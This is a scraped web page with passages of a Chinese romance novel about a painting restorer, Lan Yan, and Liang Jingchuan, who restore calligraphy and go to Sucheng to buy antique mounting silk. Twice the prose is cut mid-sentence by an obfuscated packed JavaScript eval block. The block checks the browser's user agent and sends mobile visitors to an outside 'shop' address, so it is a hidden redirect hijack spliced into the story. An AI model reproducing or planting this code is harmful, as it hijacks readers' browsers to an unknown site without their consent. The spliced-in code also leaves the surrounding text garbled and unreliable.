消息过了半小时才得到回复。 【ljc:方便我过来看一眼再做决定吗?】 【blueblue:可以。】 【ljc:什么时间方便。】 【blueblue:工作时间都行。最好是这两天。】 群里没再有动静。 顶部弹出梁净川私发消息的通知。 蓝烟切出去。 【ljc:你还在工作室?】 【blueblue:嗯。】 【ljc:我现在过来方不方便。二十分钟。】 因为修补只剩最后一点,蓝烟嫌留到明天麻烦,索性今天一口气做完了,也就在工作室里留得比平日晚了一些。 收拾完还要一会儿,算来时间差不多,就回复说可以。 等人来的这段时间里,蓝烟将地板和裱桌清理干净,随后打开门,走去小阳台上吹风。 开放式阳台,老式水泥地面和围栏,梧桐树是它的旧情人,离得近,一伸手就能够到树枝,风来时它们耳鬓厮磨,树影如流水淌了一地。 当年选择进缮兰斋而非考博物馆,一半原因是为了这里的风景。 蓝烟手臂趴在围栏上,眯眼享受工作结束后的这个时刻,疲惫兼有绵长的满足感,心情绝对平静。 她比任何人都知道自己过得很封闭,一半个人选择,一半顺势而为。 生活主基调是工作室和住处枯燥的两点一线,而恋爱是枯燥之外的浮华点缀。 坚持留在缮兰斋的人,都有自己的理由,师傅不必说,老一辈都有这样的匠心精神;师姐薛梦秋是干一行爱一行;周文述则是,学都学了转行沉没成本太高就继续做下去吧。 而她呢。 人之一生,太多不能修复的东西,记忆、情感、流逝的时间、消亡的生命。 至少有些物件,她还能挽救得回来。 她投入自己一小段的生命,即可换得这些行将腐朽的字画,十几、乃至几十年的寿命,实在划算。 物比人好。 物不会让她失望。 胡思乱想时,瞥见路对面的树荫下,有一道身影从路的另一头走了过来。 白衬衫在路灯光里,变成了比藤黄稍浅的颜色,修长身影如一笔写就,清绝离尘。 不认识就好了,不认识就能撇开这个人,单单欣赏美色。 秋风微凉,吹得人犯懒,蓝烟暂且没挪步,等那道身影走到前方,过了马路,消失于小院的大门口,她才伸个懒腰,从阳台回到室内。 没多久,裱房外响起脚步声,在门口顿了顿,朝里面走过来。 蓝烟站在裱墙前,向着来人瞥去一眼。 按理说应该打声招呼,“晚上好”之类的,但话到嘴边还是觉得很别扭,哪怕他现在是工作室的甲方。 梁净川也没说话,直接走过来,在她身旁停住脚步。 蓝烟向着裱墙扬了扬下巴,“你看一下。” 经过清洗、揭裱、除霉、修补后的字画,已然气象一新。 霉烂一团,变作“沉疴既脱、元气复完”,像妙手回春的魔法。 任何人见证过,大约都会像梁净川此刻一样,愣怔在场。 蓝烟走近裱墙,手指点了点笔划残缺的地方,说道:“这里需要接笔,我书法一般,接是能接,只是可能没有那么完美……” “都交给你。”梁净川说。 转头看她,目光由衷而真诚,“修得很好。” 蓝烟沉默。 太像正常人的言行了,实在让人不习惯。 蓝烟点头,“那我就继续了。” 梁净川拿出手机,退远一步,拍了张照。 这幅书法作品是两行大字:看取莲花净,方知不染心。 在修复的时候,蓝烟想,梁净川的“净”,是不是就是从这里面来的。 “正好你过来了,我跟你说一下装裱方案。一般书法作品做一色裱比较多,不会喧宾夺主,镶料可以选择宣纸或者绫。”蓝烟看他一眼,怕他不知道一色裱的意思。 哪知梁净川点头道:“用绫吧。” “要看看样式吗?” “好。” “稍等。” 蓝烟去材料室里,把给客户选镶料用的样品册子拿了出来。 梁净川仍在裱墙前,微微仰头,凝视那幅字。 蓝烟没有第一时间出声。 梁净川这个人,性格的底色以孤郁居多,这种时候显现得尤为明显。 他可能正陷入与故去亲人的回忆。 蓝烟没打扰,把册子放在裱桌上,翻到了花绫的部分,等了好一会儿,转头去看梁净川,确认他的状况。 哪知一下便撞上他的视线。 裱房寂静,只有恒温恒湿设备运作的嗡嗡声响,与坐飞机耳朵不通时,听见的一样沉闷。 隔着三张裱桌的距离,淡白灯光下,他的目光有种遥远的专注。 像是某些,需要用眼角余光才能捕捉到的六等星。 那种微弱异样感又攀上心脏。 她不动声色地把视线转了回来。 梁净川也收回目光,朝她走过来。 等他停在身侧,蓝烟将册子推到他面前,“用素绫,或者米色、浅灰、中灰、浅绿的色绫都可以。” 她翻着页,点出几个样品给他看。 梁净川低头,默了一瞬:“手指怎么了?” “教实习生给天杆钻孔穿线,被铜丝扎了一下。” 梁净川没说话,目光在她贴着创可贴的手指上停留了好一会儿。 直到她把册子又翻过一页,他仿佛才回神,手指点了点一片浅灰色的花绫,“这个吧。” “行。”蓝烟合上册子,又问,“轴头用的材料……” “剩余的你决定吧。” 蓝烟点头,“那没什么了。” 梁净川看她,“还要加班吗?” “不用。准备走了。” “送你。” “我还要先去吃个夜宵。” “那请你吃夜宵。” 没等蓝烟说出吐槽的话,梁净川补充:“给你带了一点东西,放车上了。” “什么东西?” “直接去看吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553255|186066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不得不承认,这人很会卖关子。 蓝烟把样品册放回材料室,检查窗户有无关好,灭了灯,锁门,跟梁净川下楼。 步行至小院,梁净川说:“刚过来保安说里面没车位,车我停前面路上了。你在门口等吧,我开过来……” “单行道,开过来不绕吗。”蓝烟白色背心外面,穿了一件宽松的薄款西装外套,她此刻两手抄在口袋里,有种淡然的无所谓。 两人便步行去停车的地方。 一路上没人作声。 好像,工作之外,他们始终无话可说。 风吹动树叶,簌簌的声音像在落一场没止尽的雨。 这条路不长,五百多米,路口右拐,再走一段,梁净川的车就停在路边。 走到车尾处,蓝烟再问一遍,给她带了什么东西。 “上车看。”梁净川径直拉开了副驾车门。 犹豫数秒,蓝烟微低头跨上车,看见副驾座位上有个木匣,把它拿了起来。 梁净川关上门,从车头绕去驾驶座。 蓝烟扣上安全带,随后打开了木匣。 那里面是一幅手卷。 梁净川上了车,系好安全带,把车启动。 蓝烟没留心这些动静,第一时间缓慢展开手卷。 车厢昏暗,她揿亮了车顶的阅读灯,借灯光去瞧。 从落款的干支年份推算,是清中期的作品,一幅没骨秋海棠图,有点恽派的风格。 画技粗拙,画意也凝滞,审美上几乎没什么价值。 但重要的是装裱这幅手卷的镶料…… 蓝烟急急地摸出口袋里的手机,点亮手电,凑近细看。 各朝各代的绢,特征各有不同,唐绢粗厚,宋绢匀净……而古绢与现代的仿古绢,最大的区别便是,前者有数世纪时间沉淀而来的古韵与旧气,这是通过科学手段人为做旧的仿古绢无法比拟的。 这手卷装裱所用的绢料,光泽、触感、图样,无一不具有古韵旧气,即便不是清中期的,也至少有百年以上的历史。 修复绢本,匹配不到年份相近的补绢,由来是业内的共同难题。 蓝烟不免几分激动,看向梁净川,忙问:“这是哪里来的?” “去苏城出差,跟朋友吃饭,路过一个旧货店。店里很多有年份,但作者没名气的古画。不知道你用不用得上,我买了一幅带回来给你看看。” “这幅多少钱?” “叫价两千,还价两百。” “……那你蛮会讲价的。” 梁净川轻笑一声。 “那个店的位置可以分享给我吗?” 车经过一个绿灯。 梁净川注视前方:“店在一个居民楼里,不太好找。地图上没有定位,只能定位到那条街上。过几天我还要去一趟,你要的话,我再给你带几幅回来。” 蓝烟摇头,“几幅不够,我得评估了找工作室申请经费……” 她沉吟片刻,转头看他,“你什么时候再去?方便的话我跟你一起。” 梁净川也看向她。 手电还没关,光照在她脸上,皮肤白得失色,眼睛却明亮极了。 他凝视她的目光,一时深了两分。 点心确实是梁晓夏叫他转交的。 但这里面也有试探的用意,他想看看,这些常规手段,对蓝烟起不起作用。 结果显而易见,她避之犹恐不及。 所以,他取消了借修画之机,时时来裱房刷存在感的计划——以她的敏感程度,大约没等他有什么实质行动,她就提前划清界限了。 那么最好的方式,还是想办法诱她主动。 搭在方向盘上的手指握紧,又松开,梁净川淡淡地说:“下周三吧,或者周四。可以配合你的时间。” 11.chapter11 附近多排档食肆。 夜里薄蓝烟雾与醺黄灯光交映,烧烤店不是鉴画的好地方,所以下车时,蓝烟把木匣留在了车里。 老板拿来点菜单,梁净川刷刷勾了几样,递给她,让她添一些喜欢吃的。 她心思不在这上面,扫一眼,基本都是喜欢的,没什么可添,就把点菜单原样地递回去。 没人接。 她抬眼,灯下梁净川压低的眉眼里有笑,调侃说道:“你这么着急的话,连夜去也行。” 通常这时候,蓝烟一定要赏他一个白眼,但看在画的份上,今天……一直到下周四,都可以不跟他计较。 她招手,叫来老板,梁净川伸臂拿过点菜单,最后又勾了两笔,递给老板。 店里很吵闹,显得他们这桌安静得格格不入。 蓝烟向坐在对面的人瞥去一眼。 不交流是他们之前的常态。 高中的时候就这样,过年父母在厨房里面忙,他俩坐在沙发上听电视玩手机,完全当对方是空气; 开车出游,同坐后座,旅途三小时,全程零交流; 凑巧坐同一趟公交车,从不同排,座位之间远得隔个银河系…… 原本是这样,但从上次夜宵开始,这样的沉默不再是互不相扰的默契,隐约多了些尴尬。 好像还是得找点什么话题尬聊一下才说得过去。 蓝烟就随口问道:“去苏城出差做什么。” “有个创业公司倒闭,找他们收一批设备。” “收二手的?” “没用多久,成色很新,只需要原价一半的价格。” “你们财务状况是不是有点……” “我不管资金方面的事。” “哦。陈泊禹管这个。”蓝烟喝口柠檬水,“如果融资失败,你们是不是……” “放心,创业失败了陈泊禹还能回去继承家业。”比平淡还要凉上两分的语气。 蓝烟莫名感觉自己好像被呛了,明明她什么也没说。 她看向梁净川,恍然:“你跟陈泊禹吵架了?” “……” 比琉璃更剔透漂亮的一双眼睛,和她对视时,很难生得出生气的心情。即便要气,也只会气自己。 服务生先送来饮料,一瓶矿泉水,一瓶无糖茶,蓝烟喜欢的牌子。 蓝烟把无糖茶接过来,拧开瓶盖喝了一口,才意识到:点菜单只在她手里过了一下,这茶不是她点的。 她停住动作,想起来梁净川也爱喝这个牌子,便问对面:“我是不是喝了你的茶?” 梁净川看着她,眼神很难形容。 她高中有回被数学老师叫去办公室讲解试卷,老师问她“1.7”这个结果怎么得来的。她说,“尺子量的啊,不是老师你说的,正规考试作图很标准,实在不会可以量一下”。老师说,“你都量出来是1.7了,难道没想过答案可能是根号3吗”。 梁净川此刻的眼神,就和老师说那句话的眼神很相似。 梁净川:“……是我的。你喝吧。没事。” 蓝烟往他面前看了看,杯子空了,她伸臂拿过来,把瓶子里的茶给他倒了一杯,“这样行不行?不行我再点一瓶。” “……可以了。”梁净川接过杯子,喝了一口浓苦的茶,屏息咽下去。 刷锅水那么多,为什么她偏偏喜欢喝销量最差最难喝的这一款。 烧烤陆陆续续送上来,蓝烟先拿了一串玉米粒。 吃完没半串,外套口袋里手机振动。 摸出来一看,是陈泊禹打来了电话。 她抽出张纸巾,垫在桌面上,手机放上去,接通后按下免提。 陈泊禹声音有点疲惫:“下班了吗?” “嗯。” “抱歉,今天晚上没法过去找你了,还在跟铂海资本的王总喝酒,可能很晚才结束。” “没事。助理陪着你吗?” “陪着。” “你们别都喝醉了。结束到家了给我说一声。” “好。如果太晚我就不发了,别吵到你……” “没事,我睡觉会开勿扰模式。” 陈泊禹说“行”,片刻,又像是想到什么,“烟烟,上回你说……” “嗯?” “算了,电话里讲不清楚,等见面说吧。” “好。”蓝烟咬一口玉米粒,“对了,我周三要……” 话被截断,似乎有人在喊陈泊禹,他应了一声:“烟烟我先进去了,有事我们晚点说。” “好。少喝一点。” 陈泊禹“嗯”一声,挂断电话。 服务员端来两盘刚烤好的肉串,蓝烟拿了一串,看对面,梁净川仍是一口一口喝着那杯茶,面前盘子里的食物几乎没动过。 “你在辟谷?”蓝烟问。 “我在修无情道。” 两个人沉默,都被冷到。 / 到家,洗漱过后,蓝烟再将装在匣子里的那幅画拿出来细看。 古人对书画鉴赏的场合都有要求,“精舍净几”、“风月清美”、“名香修行”是为“善趣”。 以这幅手卷的水平,还不至于这样高规格对待,但这些镶料,每一寸都是不可再生的资源。 隔日拿到缮兰斋去,褚兰荪喜不自胜,当场批了蓝烟的出差申请。师傅是京剧票友,蓝烟怀疑若不是显得不够稳重,他会当场来一段《定军山》。 周三一早,蓝烟等在小区门口。 出差就她一人,褚兰荪让她先去探探虚实,如果东西多,后续再派人跟她一起过去。 比约定时间早十分钟,梁净川的车子抵达路边。 他落下车窗,先是看了看手表。 蓝烟:“你没迟到。我提前下来吃了个早餐。” “你吃了?”梁净川顿了一秒。 “嗯。你吃了没有?” “嗯。” 蓝烟手里还拎着额外打包的小笼包和豆浆,这时候有点进退为难。 “……赶着过来,没怎么吃饱。”梁净川说。 “哦,我这还有份。你吃吗?” “好。”梁净川不动声色地,将中央扶手上放着的麦当劳的纸袋拎下来,搁到了车门下方的置物格里。 蓝烟把行李箱推往后备厢,将要打开,梁净川下车走了过来。 “我放,你先上车。” 放好行李箱,梁净川回到车上。 蓝烟正低头给不知道谁发微信消息,眼睛稍微抬了一瞬,指了指放在中间扶手上的袋子,“是肉包,冷了不好。” 梁净川只好拿了过去。 蓝烟发过消息,伸个懒腰,转头看,梁净川吃得缓慢。 “不好吃吗?这家生意很好,我特意早起半小时排队才买到。” “……好吃。”梁净川目光放空,生无所恋。 此去苏城,自驾两个多小时。 蓝烟也算有求于人,一路上自然不好一句话都不跟人讲,但昨晚最好的朋友打来电话,跟她聊到太晚。今天起得又早,因此刚上高速就开始频频打呵欠。 “没睡好?”梁净川看她。 “跟卢楹打电话到凌晨三点。” 梁净川认识卢楹。 蓝烟跟卢楹是高中同学,一个班的,成绩都是中不溜丢,卢楹也是重组家庭,因此跟同样家庭背景的蓝烟天然同一阵营、同仇敌忾。 梁净川不记得,自己挨过这对好闺蜜多少白眼。 高中毕业,蓝烟同卢楹的友谊延续下来。大学卢楹留本地读书,之后进本地酒店工作。蓝烟研究生毕业回到南城,两人才算结束“异地”。 这么多年,蓝烟真正能够掏心掏肺的朋友也就这一个,足见社交圈子狭窄成了一线天。 梁净川:“她还在翎悦工作?” “没。离职了在散心,要跳槽去银铂,还没去报道。” 梁净川点头,“你困了就睡会儿。” “怕你觉得我这个副驾不合格。” “你居然有这样的意识,我很意外。”梁净川微笑。 “……”蓝烟立即抱住手臂闭上双眼。 晃荡间,意识渐渐涣散,听见梁净川把音乐打开了,没听过的歌,但旋律很合她口味。 蓝烟一觉睡到下高速。 车朝着老城区驶去,先开往入住的酒店。 远远看见酒店招牌,蓝烟搜了一下价格,最低也要一千,便问:“你定的这儿?” 昨晚梁净川说为了方便出行,最好把酒店定在一起。 以前全家出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559467|186066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,订酒店都是梁净川的活。他那儿不但有她的身份证号,扫描件复印件也都有,临时询问都免了 。 梁净川:“嗯。” “这么贵财务不会给我报。” “有人报。” “不想花陈泊禹的钱。” “……我不是人?” 蓝烟微愕,看向梁净川。 他神情很平静,“你们报销标准是多少?” “三百多吧。” “住不惯。” “……公司还没上市就演上霸总了。” 梁净川笑了声,“我马上有个电话会议,来不及再找了。你真不喜欢,明天再换。” 真入住了,未必她还有心情折腾换酒店。 车开入酒店车库停好,两人去办了入住,各自回房间,约好中午11点半大厅碰头,一起吃过中饭,再去那家店里。 房间带大窗,能看得见湖景。 蓝烟在房间里稍作休息,等到时间差不多了,下楼去跟梁净川会合。 这一回他先到,坐在大堂的沙发上,或许是洗过脸,发梢微湿,眉目明净,坐得稍有散漫,反而显出一种闲适的清贵感。 还没出声,他已似有所感地从手机屏幕上抬起头,看了一眼,锁定手机,收进口袋里。 附近餐馆吃过午饭,开车去了一片极有年代感的老街区,再往里,四轮的车就开不进去了,便停在了主干道的路边,两人步行进入。 一进入小巷,四周的喧嚣立即远去,杳杳得像在另个时空。 七弯八拐,蓝烟方向感丢失,穿过了一个砖雕门楼,继续往里走,梁净川说,到了。 他没夸张,让她一个人过来,她短时间内真不一定能找到。 那店在一栋民居的一楼,挂了张油漆残缺的小牌子,上面依稀是“墨耕”二字。 一走进去,熟悉的灰尘掺杂霉酸味的气息扑面而来。空间非常逼仄,十平米不到,层层叠叠地挂满了书画,像是从天花板上,向下长出了一片挂轴的丛林。 店主是个约莫四十来岁的阿姨,坐在三尺不到一个小柜台后面刷短视频,见人进来不过掀了掀眼:“自己看。” 蓝烟侧身腾挪,目不暇接。 这里的画,大多跟那幅手卷一样,没什么审美和收藏价值,想要淘到珍品,需要费一番工夫。 不过她是冲镶料来的,画本身越没价值越好。 “老板,你们这里有宣和年间的画吗?” “不知道什么宣和。”老板投来一眼,“你直接说要哪个朝代的。” “宋代的,有吗?” “阁楼上有一批年代久的,不知道什么朝代,你自己上去看吧。” 梁净川此时凑近,低声说,这店本来是店主的父亲开的,老人为捡漏忙活了一辈子,结果只收集了这么多不值钱的东西。她也不懂,请专家来看过,确实没有一副能卖上价的,论斤处理也可惜,就开着慢慢卖了。 蓝烟点头,转身去寻阁楼入口。 一架木梯,看着晃晃荡荡,不知是否稳当。 梁净川伸臂一掌,“你先上去。” 蓝烟没跟他客气,手脚并用地往上爬。 地板簌簌落灰,蓝烟眯了眯,爬上最后一级,钻入阁楼。 梁净川紧跟其后。 阁楼带个小小天窗,光线很是晦暗,但很干燥,倒确实是个保存古画的好地方。 地方更小,只有楼下一半,转身都难。 蓝烟从狭窄过道里走到尽头,正要转弯,提包好似勾到什么,轻轻一拽,拽动了一股很重的力量。 还没反应过来,肩膀忽被一把攥住,身体随即一旋。 后背撞上什么。 听见一声闷响,蓝烟立即回头。 灰尘扑簌,她眯住眼睛,发现梁净川的脸近在咫尺。 这才意识到,自己是从背后被他紧紧地抱进了怀里。 角落里放了架屏风,被勾得倾倒而下,此刻全部压在了他肩背上。 “你被撞到没有?”梁净川眉心微蹙,微眯双眼。 浮尘迷眼,他费力睁开,却是第一时间低头,来确认她状况。 从来没在他这双一向淡漠的眼睛里,看见过这样紧张、急切的情绪。 蓝烟怔愕。